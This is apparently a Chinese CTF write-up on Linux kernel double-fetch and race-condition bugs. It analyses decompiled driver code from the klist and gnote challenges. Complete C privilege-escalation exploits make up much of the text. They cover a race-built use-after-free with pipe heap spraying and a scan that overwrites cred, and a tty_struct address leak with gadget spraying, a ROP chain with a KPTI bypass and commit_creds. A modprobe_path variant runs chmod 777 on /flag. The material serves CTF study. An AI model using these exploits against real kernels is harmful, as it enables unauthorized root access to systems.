Double-Fetch漏洞简介
随着多核CPU
硬件的普及,并行程序被越来越广泛地使用,尤其是在操作系统、实时系统等领域。然而并行程序将会引入并发错误,例如多个线程都将访问一个共享的内存地址。如果其中一个恶意线程修改了该共享内存,则会导致其他线程得到恶意数据,这就导致了一个数据竞争漏洞。数据竞争极易引发并发错误,包括死锁,原子性违例(atomicity violation
),顺序违例(order violation
)等。当并发错误可以被攻击者利用时,就形成了并发漏洞。
当内核与用户线程发生了竞争,则产生了double fetch
漏洞。如上图所示,用户态进程通过调用内核函数来访问内核数据,但是如果内核函数同时也会读取该内核数据时,则会产生一种漏洞情况。例如当内核数据第一次取该数据进行检查,然后检查通过后会第二次取该数据进行使用。而如果在第一次通过检查后,用户态进程修改了该数据,即会导致内核第二次使用该数据时,数据发生改变,则会造成包括缓冲区溢出、信息泄露、空指针引用等漏洞。
下面以两道题目讲述 Double-Fetch
常见的漏洞点和常见的攻击方法。
2018-WCTF-klist
漏洞分析
__int64 __fastcall add_item(__int64 a1)
{
__int64 chunk; // rax
__int64 size; // rdx
__int64 data; // rsi
__int64 v4; // rbx
__int64 v5; // rax
__int64 result; // rax
__int64 v7[3]; // [rsp+0h] [rbp-18h] BYREF
if ( copy_from_user(v7, a1, 16LL) || v7[0] > 0x400uLL )
return -22LL;
chunk = _kmalloc(v7[0] + 24, 21103296LL);
size = v7[0];
data = v7[1];
*(_DWORD *)chunk = 1;
v4 = chunk;
*(_QWORD *)(chunk + 8) = size;
if ( copy_from_user(chunk + 24, data, size) )
{
kfree(v4);
result = -22LL;
}
else
{
mutex_lock(&list_lock);
v5 = g_list;
g_list = v4;
*(_QWORD *)(v4 + 16) = v5;
mutex_unlock(&list_lock);
result = 0LL;
}
return result;
}
Add
函数,可以通过kmalloc
申请一个堆块,并且将堆块的前0x18
当作一个管理结构,如下所示:
0x0-0x8 flag
0x8-0x10: size
0x10-0x18: next
其中flag
用于标记当前堆块的使用次数,size
为大小,next
指向下一个堆块。并且当将堆块插入g_list
链表时,首先会调用互斥锁,将堆块插入后,再解锁。
__int64 __fastcall select_item(__int64 a1, __int64 a2)
{
__int64 v2; // rbx
__int64 v3; // rax
volatile signed __int32 **v4; // rbp
mutex_lock(&list_lock);
v2 = g_list;
if ( a2 > 0 )
{
if ( !g_list )
{
LABEL_8:
mutex_unlock(&list_lock);
return -22LL;
}
v3 = 0LL;
while ( 1 )
{
++v3;
v2 = *(_QWORD *)(v2 + 16);
if ( a2 == v3 )
break;
if ( !v2 )
goto LABEL_8;
}
}
if ( !v2 )
return -22LL;
get((volatile signed __int32 *)v2);
mutex_unlock(&list_lock);
v4 = *(volatile signed __int32 ***)(a1 + 200);
mutex_lock(v4 + 1);
put(*v4);
*v4 = (volatile signed __int32 *)v2;
mutex_unlock(v4 + 1);
return 0LL;
}
select
用于从 g_list
中选择需要的堆块,并放入 file+200
处。而且放入时,也会先检查互斥锁,然后再解锁。这里还有一个 get
和 put
函数,分别如下:
void __fastcall get(volatile signed __int32 *a1)
{
_InterlockedIncrement(a1);
}
__int64 __fastcall put(volatile signed __int32 *a1)
{
__int64 result; // rax
if ( a1 )
{
if ( !_InterlockedDecrement(a1) )
result = kfree();
}
return result;
}
get
用于将堆块的 flag
加1。put
用于将堆块的flag
减1,并且判断当堆块的 flag
为0时,则将该堆块 free
掉。这里都是原子操作,不存在竞争。
__int64 __fastcall remove_item(__int64 a1)
{
__int64 list_head; // rax
__int64 v2; // rdx
__int64 v3; // rdi
volatile signed __int32 *v5; // rdi
if ( a1 >= 0 )
{
mutex_lock(&list_lock);
if ( !a1 )
{
v5 = (volatile signed __int32 *)g_list;
if ( g_list )
{
g_list = *(_QWORD *)(g_list + 16);
put(v5);
mutex_unlock(&list_lock);
return 0LL;
}
goto LABEL_12;
}
list_head = g_list;
if ( a1 != 1 )
{
if ( !g_list )
{
LABEL_12:
mutex_unlock(&list_lock);
return -22LL;
}
v2 = 1LL;
while ( 1 )
{
++v2;
list_head = *(_QWORD *)(list_head + 16);
if ( a1 == v2 )
break;
if ( !list_head )
goto LABEL_12;
}
}
v3 = *(_QWORD *)(list_head + 16);
if ( v3 )
{
*(_QWORD *)(list_head + 16) = *(_QWORD *)(v3 + 16);
put((volatile signed __int32 *)v3);
mutex_unlock(&list_lock);
return 0LL;
}
goto LABEL_12;
}
return -22LL;
}
Remove
操作,是将选择的堆块,从 g_list
链表中移除,并且会对堆块的 flag
减1。
unsigned __int64 __fastcall list_head(__int64 a1)
{
__int64 head; // rbx
unsigned __int64 v2; // rbx
mutex_lock(&list_lock);
get((volatile signed __int32 *)g_list);
head = g_list;
mutex_unlock(&list_lock);
v2 = -(__int64)(copy_to_user(a1, head, *(_QWORD *)(head + 8) + 24LL) != 0) & 0xFFFFFFFFFFFFFFEALL;
put((volatile signed __int32 *)g_list);
return v2;
}
list_head
操作是先调用互斥锁,再从 g_list
取出链表头堆块,再调用解锁。输出给用户,然后调用 put函数。
注意:我们查看每一次put
操作,发现上面调用 put
和 get
时,都会调用互斥锁。而这里 在 put时却没有调用互斥锁。也就是存在了一个条件竞争漏洞。我们可以在执行 put函数之前,执行其他函数获得互斥锁,来构造一个条件竞争漏洞。
__int64 __fastcall list_read(__int64 a1, __int64 a2, unsigned __int64 a3)
{
__int64 *v5; // r13
__int64 v6; // rsi
_QWORD *v7; // rdi
__int64 result; // rax
v5 = *(__int64 **)(a1 + 200);
mutex_lock(v5 + 1);
v6 = *v5;
if ( *v5 )
{
if ( *(_QWORD *)(v6 + 8) <= a3 )
a3 = *(_QWORD *)(v6 + 8);
v7 = v5 + 1;
if ( copy_to_user(a2, v6 + 24, a3) )
{
mutex_unlock(v7);
result = -22LL;
}
else
{
mutex_unlock(v7);
result = a3;
}
}
else
{
mutex_unlock(v5 + 1);
result = -22LL;
}
return result;
}
然后,read、write都是调用 file+200处的堆块指针。
这里结合 read和 write,就能够构造一个悬垂指针,进而实现任意地址读写。
利用分析
构造 UAF
构造一个 fork
进程,在子进程中 不断调用Add
和 Select
将堆块放入 file+200
处,然后再调用 remove
将 flag
设置为1 。而在父进程中不断调用 list_head
。那么就存在这样一种情况。
当父进程的list_head
执行到 put
之前时,此时互斥锁已经解锁。那么子进程就可以刚好调用了 一个 Add
函数生成了一个新的链表头且执行了 remove
此时flag
为1,然后父进程执行put
时该新链表头flag
减1后,该新堆块就会被释放。然而,此时该新堆块被释放了,却在 file+200
处留下了堆块地址,形成了一个悬垂指针。整体流程如下
parent process: child process
mutex_lock()
get(old_chunk_head)
mutex_unlock()
mutex_lock()
Add(new_chunk_head) flag=1
Select(new_chunk_head) flag+1=2
Remove(new_chunk_head) flag-1=1
mutex_unlock()
put(new_chunk_head) flag-1=0
任意地址读写
这里的任意地址读写并不是指定地址读写实现,而是通过 UAF
漏洞修改 堆块结构中的 size
,将其改大。让我们能够读写一个巨大的size
。而这里就需要一个能够分配 释放的堆块,并且写入该堆块的函数。这里选择管道 pipe
函数,其代码如下:
SYSCALL_DEFINE1(pipe, int __user *, fildes)
SYSCALL_DEFINE2(pipe2, int __user *, fildes, int, flags)
static int __do_pipe_flags(int *fd, struct file **files, int flags)
int create_pipe_files(struct file **res, int flags)
static struct inode * get_pipe_inode(void)
struct pipe_inode_info *alloc_pipe_info(void)
... ...
// v4.4.110
unsigned long pipe_bufs = PIPE_DEF_BUFFERS; // #define PIPE_DEF_BUFFERS 16
pipe->bufs = kzalloc(sizeof(struct pipe_buffer) * pipe_bufs, GFP_KERNEL);
// v4.18.4
unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),GFP_KERNEL_ACCOUNT);
//kcalloc最终还是调用kmalloc分配了 n*size 大小的堆空间
//static inline void *kcalloc(size_t n, size_t size, gfp_t flags)
可以看到 pipe
函数也是通过kzalloc
实现,而 kzalloc
就是加了一个将kmalloc
后的堆块清空。所以也是kmalloc
函数,那么只要size
恰当,那么就一定能够将我们上面uaf
的 new_chunk_head
堆块申请出来,并写上数据。
那么利用pipe函数堆喷,就能够实现对 uaf
的 new_chunk_head
的size
的修改。这里的选择当然不止 pipe
函数,其他堆喷方法可参考这篇文章。
覆写cred
得到任意地址读写的能力后,提权的方法其实有几种。覆写cred
、修改 vdso
、修改prctl
、修改 modprobe_path
,但是除了 覆写 cred
,另外几种都需要知道内核地址。这里无法泄露地址。
那么,直接选择爆破 cred
地址,然后将其 覆写为 0提权。这里选择爆破的标志位是 uid~fsgid
在普通权限下都为 1000(0x3e8)
。所以只要寻找到这个,就能确定 cred
与 new_chunk_head
的偏移。
这里我尝试了使用常用的设置 PR_SET_NAME
,然后爆破寻找 该字符串地址,以此得到cred
地址。但是结果是,爆破了很久在爆破出结果后,就卡住了,无法进行下一步。而调试的时候,竟然发现 子线程会一直循环执行,这点是我目前还没有考虑清楚的问题。
EXP
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <sys/syscall.h>
#include <stdint.h>
int fd;
typedef struct List{
size_t size;
char* buf;
}klist;
void ErrPro(char* buf){
printf("Error %s\n",buf);
exit(-1);
}
void Add(size_t sz, char* buffer){
klist* list = malloc(sizeof(klist));
list->size = sz-0x18;
list->buf = buffer;
if(0 < ioctl(fd, 0x1337, list)){
ErrPro("Add");
}
}
void Select(size_t num){
if(-1 == ioctl(fd, 0x1338, num)){
ErrPro("Select");
}
}
void Remove(size_t num){
if(-1 == ioctl(fd, 0x1339, num)){
ErrPro("Remove");
}
}
void getHead(char* buf){
if(-1 == ioctl(fd, 0x133A, buf)){
ErrPro("getHead");
}
}
int main(){
int pid = 0;
fd = open("/dev/klist", O_RDWR);
if(fd < 0){
ErrPro("Open dev");
}
char bufA[0x500] = { 0 };
char bufB[0x500] = { 0 };
char buf[0x500] = { 0 };
memset(bufA, 'a', 0x500);
memset(bufB, 'b', 0x500);
Add(0x280, bufA);
Select(0);
puts("competition now");
pid = fork();
if(pid == 0){
for(int i=0; i<200; i++){
pid = fork();
if(pid == 0){
while(1){
if(!getuid()){
puts("Root now=====>");
system("cat /flag");
}
}
}
}
while(1){
Add(0x280, bufA); //creat chunk0 flag=1
Select(0); //put chunk0 into file_operations,flag+1=2
Remove(0); //flag-1
Add(0x280, bufB); //race condition, maybe change chunk0
read(fd, buf, 0x500);
if(buf[0] != 'a'){ //if chunk0 changed, race win
puts("child process race win");
break;
}
Remove(0); //else, race continue
}
puts("Now pipe to heap spray");
Remove(0); //uaf point
char buf3[0x500] = { 0 };
memset(buf3, 'E', 0x500);
int fds[2];
//getchar();
//利用pipe堆喷,分配到 uaf point and change its size
pipe(&fds[0]);
for(int i = 0; i < 9; i++) {
write(fds[1], buf3, 0x500);
}
puts("We can read and write arbitary, To find cred");
unsigned int *buffer = (unsigned int *)malloc(0x1000000);
read(fd, buffer, 0x1000000); //the uaf pointer'size has been changed
unsigned int pos = 0;
int count = 0;
for(int i=0; i<0x1000000/4; i++){
if(buffer[i] == 1000 && buffer[i+1] == 1000 && buffer[i+7] == 1000){
puts("Found cred now");
pos = i+8;
for(int x=0; x<8; x++){
buffer[i+x] = 0;
}
count ++;
if(count >= 2){
break;
}
}
}
printf("pos: 0x%llx\n",pos*4);
write(fd, buffer, pos*4);
while(1){
if(!getuid()){
puts("Root now=====>");
system("cat /flag");
}
}
}
else if(pid > 0){
char buf4[0x500] = { 0 };
memset(buf4, '\x00', 0x500);
while(1){
getHead(buf4);
read(fd, buf4, 0x500);
if(buf4[0] != 'a'){
puts("Parent process race won");
break;
}
}
while(1){
if(!getuid()){
puts("Root now=====>");
system("cat /flag");
}
}
}
else
{
puts("fork failed");
return -1;
}
return 0;
}
2019-TokyoWesterns-gnote
漏洞分析
题目首先就给了源码,从源码中可以直接看出来就两个功能,一个是 write
,使用了一个 siwtch case
结构,实现了两个功能,一是kmalloc
申请堆块,一个是 case 5
选择堆块。
ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
unsigned int index;
mutex_lock(&lock);
/*
* 1. add note
* 2. edit note
* 3. delete note
* 4. copy note
* 5. select note
* No implementation :(
*/
switch(*(unsigned int *)buf){
case 1:
if(cnt >= MAX_NOTE){
break;
}
notes[cnt].size = *((unsigned int *)buf+1);
if(notes[cnt].size > 0x10000){
break;
}
notes[cnt].contents = kmalloc(notes[cnt].size, GFP_KERNEL);
cnt++;
break;
case 2:
printk("Edit Not implemented\n");
break;
case 3:
printk("Delete Not implemented\n");
break;
case 4:
printk("Copy Not implemented\n");
break;
case 5:
index = *((unsigned int *)buf+1);
if(cnt > index){
selected = index;
}
break;
}
mutex_unlock(&lock);
return count;
}
还有一个功能就是read
,读取堆块中的数据。
ssize_t gnote_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
mutex_lock(&lock);
if(selected == -1){
mutex_unlock(&lock);
return 0;
}
if(count > notes[selected].size){
count = notes[selected].size;
}
copy_to_user(buf, notes[selected].contents, count);
selected = -1;
mutex_unlock(&lock);
return count;
}
然后,虽然给了源码和汇编,看到最后也没发现有什么问题。猜测可能是条件竞争,但是常规的堆块也没有竞争的可能性。这题的漏洞出的十分隐蔽了,write
功能中是通过 switch case
实现跳转,在汇编中switch case
是通过swicth table
跳转表实现的,即看如下汇编:
.text:0000000000000019 cmp dword ptr [rbx], 5 ; switch 6 cases
.text:000000000000001C ja short def_20 ; jumptable 0000000000000020 default case
.text:000000000000001E mov eax, [rbx]
.text:0000000000000020 mov rax, ds:jpt_20[rax*8] ; switch jump
.text:0000000000000028 jmp __x86_indirect_thunk_rax
会先判断 跳转id是否大于最大的跳转 路径 5,如果不大于再使用 ds:jpt_20
这个跳转表来获得跳转的地址。这里可以看到这个 id,首先是从 rbx
所在地址中的值与5比较,然后将rbx
中的值复制给 eax
,通过 eax
来跳转。那么存在一种情况,当[rbx]
与5
比较通过后,有另一个进程修改了 rbx
的值 将其改为了 一个大于跳转表的值,这里由于 rbx的值是用户态传入的参数,所以是能够被用户态所修改的。随后系统将rbx
的值传给eax
,此时eax
大于5
,即可实现 劫持控制流到一个 较大的地址。
也即,这里存在一个 double fetch
洞。
利用分析
泄露地址
这里泄露地址的方法,感觉在真实漏洞中会用到,即利用 tty_struct
中的指针来泄露地址。
可以先打开一个 ptmx
,然后 close
掉。随后使用 kmalloc
申请与 tty_struct
大小相同的slub
,这样就能将tty_struct
结构体申请出来。然后利用 read
函数读取其中的指针,来泄露地址。
double-fetch堆喷
上面已经分析了可以利用 double-fetch
来实现任意地址跳转。那么这里我们跳转到哪个地址呢,跳转后又该怎么执行呢?
这里我们首先选择的是用户态空间,因为这里只有用户态空间的内容是我们可控的,且未开启smap
内核可以访问用户态数据。我们可以考虑在用户态通过堆喷布置大量的 gadget
,使得内核态跳转时一定能落到gadget
中。那么这里用户态空间选择什么地址呢?
这里首先分析 上面 swicth_table
是怎么跳的,这里jmp_table+(rax*8)
,当我们的rax
输入为 0x8000200
,假设内核基址为0xffffffffc0000000
,则最终访问的地址将会溢出 (0xffffffffc0000000+0x8000200*8 == 0x1000)
,那么最终内核最终将能够访问到 0x1000
。
由于内核模块加载的最低地址是 0xffffffffc0000000
,通常是基于这个地址有最多 0x1000000
大小的浮动,所以这里我们的堆喷页面大小 肯定要大于 0x1000000
,才能保证内核跳转一定能跳到 gadget
。而一般未开启 pie
的用户态程序地址空间为 0x400000
,如果我们选择低于0x400000
的地址开始堆喷,那么最终肯定会对 用户态程序,动态库等造成覆盖。 所以这里我们最佳的地址是 0x8000000
,我们的输入为:
(0xffffffffc0000000+0x9000000*8 == 0x8000000)
那么我们选择0x8000000
地址,并堆喷 0x1000000
大小的 gadget。那么这里应该选择何种 gadget
呢?
这里的思路是最好确保内核态执行执行了 gadget
后,能被我们劫持到位于用户态空间的的ROP
上。这里选用的 gadget
是 xchg eax, esp
,会将 RAX
寄存器的 低 4byte
切换进 esp
寄存器,同时rsp
拓展位的高32
位清0
,这样就切换到用户态的栈了。
然后我们的 ROP
部署在哪个地址呢?这里需要根据xchg eax, esp
这个gadget
的地址来计算,通过在xchg_eax_rsp_r_addr & 0xfffff000
处开始分配空间,在 xchg_eax_rsp_r_addr & 0xffffffff
处存放内核 ROP链,就可以通过 ROP
提权。
然后这里 提权,需要注意开启了 KPTI保护,关于 KPTI保护及绕过方法可以参考这篇文章。
EXP
//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <syscall.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/user.h>
size_t user_cs, user_ss, user_rflags, user_sp;
size_t prepare_kernel = 0x69fe0;
size_t commit_creds = 0x69df0;
size_t p_rdi_r = 0x1c20d;
size_t mv_rdi_rax_p_r = 0x21ca6a;
size_t p_rcx_r = 0x37523;
size_t p_r11_p_rbp_r = 0x1025c8;
size_t kpti_ret = 0x600a4a;
size_t iretq = 0x0;
size_t modprobe_path = 0x0;
size_t xchg_eax_rsp_r = 0x1992a;
size_t xchg_cr3_sysret = 0x600116;
int fd;
int istriggered = 0;
typedef struct Knote{
unsigned int ch;
unsigned int size;
}gnote;
void Err(char* buf){
printf("%s Error\n");
exit(-1);
}
void getshell(){
if(!getuid()){
system("/bin/sh");
}
else{
err("Not root");
}
}
void shell()
{
istriggered =1;
puts("Get root");
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
void getroot(){
char* (*pkc)(int) = prepare_kernel;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}
void savestatus(){
__asm__("mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;" //push eflags
"pop user_rflags;"
);
}
void Add(unsigned int sz){
gnote gn;
gn.ch = 1;
gn.size = sz;
if(-1 == write(fd, &gn, sizeof(gnote))){
Err("Add");
}
}
void Select(unsigned int idx){
gnote gn;
gn.ch = 5;
gn.size = idx;
if(-1 == write(fd, &gn, sizeof(gnote))){
Err("Select");
}
}
void Output(char* buf, size_t size){
if(-1 == read(fd, buf, size)){
Err("Read");
}
}
void LeakAddr(){
int fdp=open("/dev/ptmx", O_RDWR|O_NOCTTY);
close(fdp);
sleep(1); // trigger rcu grace period
Add(0x2e0);
Select(0);
char buffer[0x500] = { 0 };
Output(buffer, 0x2e0);
size_t vmlinux_addr = *(size_t*)(buffer+0x18)- 0xA35360;
printf("vmlinux_addr: 0x%llx\n", vmlinux_addr);
prepare_kernel += vmlinux_addr;
commit_creds += vmlinux_addr;
p_rdi_r += vmlinux_addr;
xchg_eax_rsp_r += vmlinux_addr;
xchg_cr3_sysret += vmlinux_addr;
mv_rdi_rax_p_r += vmlinux_addr;
p_rcx_r += vmlinux_addr;
p_r11_p_rbp_r += vmlinux_addr;
kpti_ret += vmlinux_addr;
printf("p_rdi_r: 0x%llx, xchg_eax_rsp_r: 0x%llx\n", p_rdi_r, xchg_eax_rsp_r);
getchar();
puts("Leak addr OK");
}
void HeapSpry(){
char* gadget_mem = mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
unsigned long* gadget_addr = (unsigned long*)gadget_mem;
for(int i=0; i < (0x1000000/8); i++){
gadget_addr[i] = xchg_eax_rsp_r;
}
}
void Prepare_ROP(){
char* rop_mem = mmap((void*)(xchg_eax_rsp_r&0xfffff000), 0x2000, PROT_READ|PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
unsigned long* rop_addr = (unsigned long*)(xchg_eax_rsp_r & 0xffffffff);
int i = 0;
rop_addr[i++] = p_rdi_r;
rop_addr[i++] = 0;
rop_addr[i++] = prepare_kernel;
rop_addr[i++] = mv_rdi_rax_p_r;
rop_addr[i++] = 0;
rop_addr[i++] = commit_creds;
// xchg_CR3_sysret
rop_addr[i++] = kpti_ret;
rop_addr[i++] = 0;
rop_addr[i++] = 0;
rop_addr[i++] = &shell;
rop_addr[i++] = user_cs;
rop_addr[i++] = user_rflags;
rop_addr[i++] = user_sp;
rop_addr[i++] = user_ss;
}
void race(void *s){
gnote *d=s;
while(!istriggered){
d->ch = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
puts("[*] race ...");
}
}
void Double_Fetch(){
gnote gn;
pthread_t pthread;
gn.size = 0x10001;
pthread_create(&pthread,NULL, race, &gn);
for (int j=0; j< 0x10000000000; j++)
{
gn.ch = 1;
write(fd, (void*)&gn, sizeof(gnote));
}
pthread_join(pthread, NULL);
}
int main(){
savestatus();
fd=open("proc/gnote", O_RDWR);
if (fd<0)
{
puts("[-] Open driver error!");
exit(-1);
}
LeakAddr();
HeapSpry();
Prepare_ROP();
Double_Fetch();
return 0;
}
当然这里也可以使用 modprobe_path,执行完后手动执行一下/tmp/ll文件,即可将 flag权限改为 777。
//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <syscall.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/user.h>
size_t user_cs, user_ss, user_rflags, user_sp;
size_t prepare_kernel = 0x69fe0;
size_t commit_creds = 0x69df0;
size_t p_rdi_r = 0x1c20d;
size_t mv_rdi_rax_p_r = 0x21ca6a;
size_t p_rcx_r = 0x37523;
size_t p_r11_p_rbp_r = 0x1025c8;
size_t kpti_ret = 0x600a4a;
size_t memcpy_addr = 0x58a100;
size_t modprobe_path = 0xC2C540;
size_t xchg_eax_rsp_r = 0x1992a;
size_t xchg_cr3_sysret = 0x600116;
size_t p_rsi_r = 0x37799;
size_t p_rdx_r = 0xdd812;
int fd;
int istriggered = 0;
typedef struct Knote{
unsigned int ch;
unsigned int size;
}gnote;
void Err(char* buf){
printf("%s Error\n");
exit(-1);
}
void getshell(){
if(!getuid()){
system("/bin/sh");
}
else{
err("Not root");
}
}
void shell()
{
istriggered =1;
puts("Get root");
system("/tmp/ll");
system("cat /flag");
}
void getroot(){
char* (*pkc)(int) = prepare_kernel;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}
void savestatus(){
__asm__("mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;" //push eflags
"pop user_rflags;"
);
}
void Add(unsigned int sz){
gnote gn;
gn.ch = 1;
gn.size = sz;
if(-1 == write(fd, &gn, sizeof(gnote))){
Err("Add");
}
}
void Select(unsigned int idx){
gnote gn;
gn.ch = 5;
gn.size = idx;
if(-1 == write(fd, &gn, sizeof(gnote))){
Err("Select");
}
}
void Output(char* buf, size_t size){
if(-1 == read(fd, buf, size)){
Err("Read");
}
}
void LeakAddr(){
int fdp=open("/dev/ptmx", O_RDWR|O_NOCTTY);
close(fdp);
sleep(1); // trigger rcu grace period
Add(0x2e0);
Select(0);
char buffer[0x500] = { 0 };
Output(buffer, 0x2e0);
size_t vmlinux_addr = *(size_t*)(buffer+0x18)- 0xA35360;
printf("vmlinux_addr: 0x%llx\n", vmlinux_addr);
prepare_kernel += vmlinux_addr;
commit_creds += vmlinux_addr;
p_rdi_r += vmlinux_addr;
xchg_eax_rsp_r += vmlinux_addr;
xchg_cr3_sysret += vmlinux_addr;
mv_rdi_rax_p_r += vmlinux_addr;
p_rcx_r += vmlinux_addr;
p_r11_p_rbp_r += vmlinux_addr;
kpti_ret += vmlinux_addr;
memcpy_addr += vmlinux_addr;
modprobe_path += vmlinux_addr;
p_rsi_r += vmlinux_addr;
p_rdx_r += vmlinux_addr;
printf("p_rdi_r: 0x%llx, xchg_eax_rsp_r: 0x%llx\n", p_rdi_r, xchg_eax_rsp_r);
puts("Leak addr OK");
}
void HeapSpry(){
char* gadget_mem = mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
unsigned long* gadget_addr = (unsigned long*)gadget_mem;
for(int i=0; i < (0x1000000/8); i++){
gadget_addr[i] = xchg_eax_rsp_r;
}
}
void Prepare_ROP(){
char* rop_mem = mmap((void*)(xchg_eax_rsp_r&0xfffff000), 0x2000, PROT_READ|PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
unsigned long* rop_addr = (unsigned long*)(xchg_eax_rsp_r & 0xffffffff);
unsigned long sh_addr = (xchg_eax_rsp_r&0xfffff000)+0x1000;
memcpy(sh_addr, "/tmp/chmod.sh\0\n", 20);
int i = 0;
rop_addr[i++] = p_rdi_r;
rop_addr[i++] = modprobe_path;
rop_addr[i++] = p_rsi_r;
rop_addr[i++] = sh_addr;
rop_addr[i++] = p_rdx_r;
rop_addr[i++] = 0x18;
rop_addr[i++] = memcpy_addr;
// xchg_CR3_sysret
rop_addr[i++] = kpti_ret;
rop_addr[i++] = 0;
rop_addr[i++] = 0;
rop_addr[i++] = &shell;
rop_addr[i++] = user_cs;
rop_addr[i++] = user_rflags;
rop_addr[i++] = user_sp;
rop_addr[i++] = user_ss;
}
void race(void *s){
gnote *d=s;
while(!istriggered){
d->ch = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
puts("[*] race ...");
}
}
void Double_Fetch(){
gnote gn;
pthread_t pthread;
gn.size = 0x10001;
pthread_create(&pthread,NULL, race, &gn);
for (int j=0; j< 0x10000000000; j++)
{
gn.ch = 1;
write(fd, (void*)&gn, sizeof(gnote));
}
pthread_join(pthread, NULL);
}
int main(){
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/chmod.sh");
system("chmod +x /tmp/chmod.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/ll");
system("chmod +x /tmp/ll");
savestatus();
fd=open("proc/gnote", O_RDWR);
if (fd<0)
{
puts("[-] Open driver error!");
exit(-1);
}
LeakAddr();
HeapSpry();
Prepare_ROP();
Double_Fetch();
return 0;
}
参考
A Survey of The Double-Fetch Vulnerabilities
针对Linux内核中double fetch漏洞的研究